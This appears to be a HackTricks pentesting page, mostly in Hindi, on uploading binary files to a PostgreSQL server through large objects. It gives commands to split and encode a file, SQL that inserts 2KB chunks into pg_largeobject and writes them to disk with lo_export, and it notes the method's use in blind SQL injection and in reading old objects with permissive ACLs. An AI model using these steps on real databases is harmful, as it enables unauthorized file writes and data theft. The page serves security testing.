Big Binary Files Upload (PostgreSQL)

Support HackTricks

PostgreSQL Large Objects

PostgreSQL एक संरचना प्रदान करता है जिसे large objects कहा जाता है, जो pg_largeobject तालिका के माध्यम से सुलभ है, जो बड़े डेटा प्रकारों, जैसे कि छवियों या PDF दस्तावेजों को संग्रहीत करने के लिए डिज़ाइन की गई है। यह दृष्टिकोण COPY TO फ़ंक्शन की तुलना में फायदेमंद है क्योंकि यह डेटा को फ़ाइल सिस्टम में वापस निर्यात करने की अनुमति देता है, यह सुनिश्चित करते हुए कि मूल फ़ाइल की एक सटीक प्रति बनाए रखी जाती है।

इस तालिका में एक पूर्ण फ़ाइल संग्रहीत करने के लिए, pg_largeobject तालिका में एक ऑब्जेक्ट बनाया जाना चाहिए (जिसे LOID द्वारा पहचाना जाता है), इसके बाद डेटा के टुकड़ों को इस ऑब्जेक्ट में डाला जाना चाहिए, प्रत्येक 2KB आकार का। यह महत्वपूर्ण है कि ये टुकड़े ठीक 2KB आकार के हों (अंतिम टुकड़े के संभावित अपवाद के साथ) ताकि निर्यात फ़ंक्शन सही ढंग से काम करे।

अपने बाइनरी डेटा को 2KB टुकड़ों में विभाजित करने के लिए, निम्नलिखित कमांड निष्पादित किए जा सकते हैं:

split -b 2048 your_file # Creates 2KB sized files

फाइल को Base64 या Hex में एन्कोड करने के लिए, नीचे दिए गए कमांड का उपयोग किया जा सकता है:

base64 -w 0 <Chunk_file> # Encodes in Base64 in one line
xxd -ps -c 99999999999 <Chunk_file> # Encodes in Hex in one line

महत्वपूर्ण: इस प्रक्रिया को स्वचालित करते समय, सुनिश्चित करें कि 2KB के स्पष्ट-टेक्स्ट बाइट्स के टुकड़े भेजें। हेक्स एन्कोडेड फ़ाइलों के लिए आकार में दोगुना होने के कारण प्रति टुकड़ा 4KB डेटा की आवश्यकता होगी, जबकि बेस64 एन्कोडेड फ़ाइलें सूत्र ceil(n / 3) * 4 का पालन करती हैं।

बड़े ऑब्जेक्ट्स की सामग्री को डिबगिंग उद्देश्यों के लिए देखा जा सकता है:

select loid, pageno, encode(data, 'escape') from pg_largeobject;

Using lo_creat & Base64

बाइनरी डेटा को स्टोर करने के लिए, सबसे पहले एक LOID बनाया जाता है:

SELECT lo_creat(-1);       -- Creates a new, empty large object
SELECT lo_create(173454);  -- Attempts to create a large object with a specific OID

सटीक नियंत्रण की आवश्यकता वाले स्थितियों में, जैसे कि एक ब्लाइंड SQL इंजेक्शन का लाभ उठाने के लिए, lo_create एक निश्चित LOID निर्दिष्ट करने के लिए पसंद किया जाता है।

डेटा के टुकड़े फिर इस प्रकार डाले जा सकते हैं:

INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 0, decode('<B64 chunk1>', 'base64'));
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 1, decode('<B64 chunk2>', 'base64'));

बड़े ऑब्जेक्ट को उपयोग के बाद निर्यात करने और संभावित रूप से हटाने के लिए:

SELECT lo_export(173454, '/tmp/your_file');
SELECT lo_unlink(173454);  -- Deletes the specified large object

Using lo_import & Hex

lo_import फ़ंक्शन का उपयोग बड़े ऑब्जेक्ट के लिए LOID बनाने और निर्दिष्ट करने के लिए किया जा सकता है:

select lo_import('/path/to/file');
select lo_import('/path/to/file', 173454);

निष्पादन वस्तु निर्माण के बाद, प्रति पृष्ठ डेटा डाला जाता है, यह सुनिश्चित करते हुए कि प्रत्येक टुकड़ा 2KB से अधिक न हो:

update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=0;
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=1;

डेटा को निर्यात किया जाता है और बड़े ऑब्जेक्ट को हटा दिया जाता है:

select lo_export(173454, '/path/to/your_file');
select lo_unlink(173454);  -- Deletes the specified large object

Limitations

यह नोट किया गया है कि बड़े ऑब्जेक्ट्स में ACLs (एक्सेस कंट्रोल लिस्ट) हो सकते हैं, जो आपके उपयोगकर्ता द्वारा बनाए गए ऑब्जेक्ट्स तक पहुंच को संभावित रूप से प्रतिबंधित कर सकते हैं। हालाँकि, पुराने ऑब्जेक्ट्स जिनमें उदार ACLs हैं, अभी भी सामग्री निकासी के लिए सुलभ हो सकते हैं।

Support HackTricks

Last updated